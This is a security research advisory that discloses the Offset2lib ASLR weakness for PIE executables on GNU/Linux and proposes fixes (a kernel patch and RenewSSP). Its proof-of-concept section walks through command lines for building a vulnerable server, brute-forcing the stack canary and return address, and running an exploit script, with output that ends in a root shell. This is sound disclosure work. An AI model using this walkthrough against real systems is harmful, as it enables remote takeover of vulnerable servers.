Offset2lib is a security weakness on the implementation of the ASLR in GNU/Linux when the executable is PIE compiled.
A PoC attack is described to illustrate how the weakness can be exploited. The attack bypasses the three most widely adopted and effective protection techniques: No-eXecutable bit (NX), address space layout randomization (ASLR) and stack smashing protector (SSP). The exploit obtaines a remote shell in less than one second.
It is specific to GNU/Linux and does not affect Windows or Mac OS. It is not a programming error on the code that implements the ASLR, but a weakness on the design. Fortunately, it can be easily fixed on 64 bit systems.
The problem appears when an application is PIE compiled. The executable image is handled as if it were a shared library, that is, it is loaded at a random location in memory. The GNU/Linux algorithm for loading ASLR objects works as follows:
The offset2lib value it is a constant value which may be slightly different on each system, depending on the library version and the order how the libraries have been loaded.
The goal of the attack is to obtain an address which belongs to the application code. The following attack exploits a standard stack buffer overflow to obtain the saved-IP address (of the app. code) stored in the stack.
We have structured the attack in 5 steps. Our attack starts by doing an off-line analysis of the target application and its execution environment. The unknown information (hidden by the ASLR) is obtained via brute force, thanks to the forking server architecture of the target. Once we have the full address of the application, the base address of the application is calculated. The last step is to have the memory map of all the libraries, which depends on the GNU/Linux distribution of the target. With the obtained information it is easy to arm a ROP program to get a remote shell. The complete on-line attack may take no more than one second.
The steps to build the attack are:
App_base = (savedIP & 0xFFF)-(CALLER_PAGE_OFFSET << 12)
0x00007F36C6fEB000
Libc_base = App_base - offset2lib
0x00007f36c6a07000
The attack presented here is only a demonstrative example of how to exploit the ASLR offset2lib weakness. We believe that the way to take of advantage of this weakness is only limited by attackers creativity.
$ tar xvf vuln-server-64bit.tgz server_64_PIE_SSP.c Makefile $ make rm -f server_64_PIE_SSP gcc server_64_PIE_SSP.c -o server_64_PIE_SSP -m64 -Wall -fPIE -pie -fstack-protector-all $ sudo /etc/init.d/apport stop # avoid creating cores on crashes (speed-up) $ sudo ./server_64_PIE_SSP Starting server on port [9999]
$ tar xvf get_offset2lib.tgz Makefile.offset2lib get_offset2lib.c $ make -f Makefile.offset2lib $ ./get_offset2lib -------------------------------------=======--------------------------------------- ------------------------------=======================------------------------------ Authors: Hector Marco-Gisbert <hmarco@hmarco.org> Ismael Ripoll Ripoll <iripoll@upv.es> Comment: Script to obtain the offset2lib value of this machine. Attack: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html ------------------------------=======================------------------------------ -------------------------------------=======--------------------------------------- Offset2lib (libc): 0x5f0000
$ sed -i 's/\(OFFSET_TO_LIBC\).*=.*/\1=0x5f0000/' \ exploit-offset2lib-ubuntu-14.04.1-LTS.py $ objdump -d server_64_PIE_SSP| grep -A1 vulnerable_function\>$ 1149: e8 82 fc ff ff callq dd0 <vulnerable_function> 114e: 48 8d 45 c0 lea -0x40(%rbp),%rax $ sed -i 's/\(PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL\).*=.*/\1=0x1/' \ exploit-offset2lib-ubuntu-14.04.1-LTS.py $ sed -i 's/\(OFFSET_SAVED_RIP\).*=.*/\1=0x14e/' \ exploit-offset2lib-ubuntu-14.04.1-LTS.py
$ chmod a+x exploit-offset2lib-ubuntu-14.04.1-LTS.py $ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py exploit-server_64_PIE.py -s <server> -p <port> $ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py -s localhost -p 9999 [+] Exploit ASLR 64 bit systems [+] Trying to find out the canary offset [+] Offset is 56 bytes [+] Brute forcing stack canary [+] SSP value is 0x60e0792a523eb900 [+] Brute forcing RBP [+] EBP value is 0x00007fff0e79d160 [+] Brute forcing Saved RIP [+] RIP value is 0x00007f44a19b114e [+] Text Base at 0x00007f44a19b0000 [+] Libc Base at 0x00007f44a13c0000 [+] Getting shell ... root@test:/home/test # id id uid=0(root) gid=0(root) groups=0(root) root@test:/home/test #
There are several solutions and workarounds to this weakness.
Among many other security improvements, the PaX (from GRSecurity) patch places the executable at random positions with respect to the other shared objects. PaX defines four zones:
In order to remove the offset2lib weakness, the executable shall be located at a different zone than libraries. We have created a small patch for the current Linux kernel (3.18-rc7) which implements four different zones, so that the executable is not in the same zone than libraries.
More information about this solution at: Fixing Offset2lib weakness
To successfully bypass the ASLR by exploiting the stack buffer overflow presented in the PoC, the attacker needs to bypass first the stack smashing protector (SSP). If the SSP protection can not be bypassed, then the PoC would fail.
A new technique, called renewSSP can be used to prevent brute force attacks against the SSP. This technique is a variant of the classic SSP where the value of the secret canary is renewed dynamically at key places in the program. This way, the secret is refreshed more often. The SSP value can be renewed per-process preventing the ``byte-for-byte'' attack. The technique is not intrusive, and can be applied by just pre-loading a shared library. The overhead is almost negligible.
A demonstrative video which shows how the attack can be prevented using the RenewSSP can be seen at http://www.renewssp.com.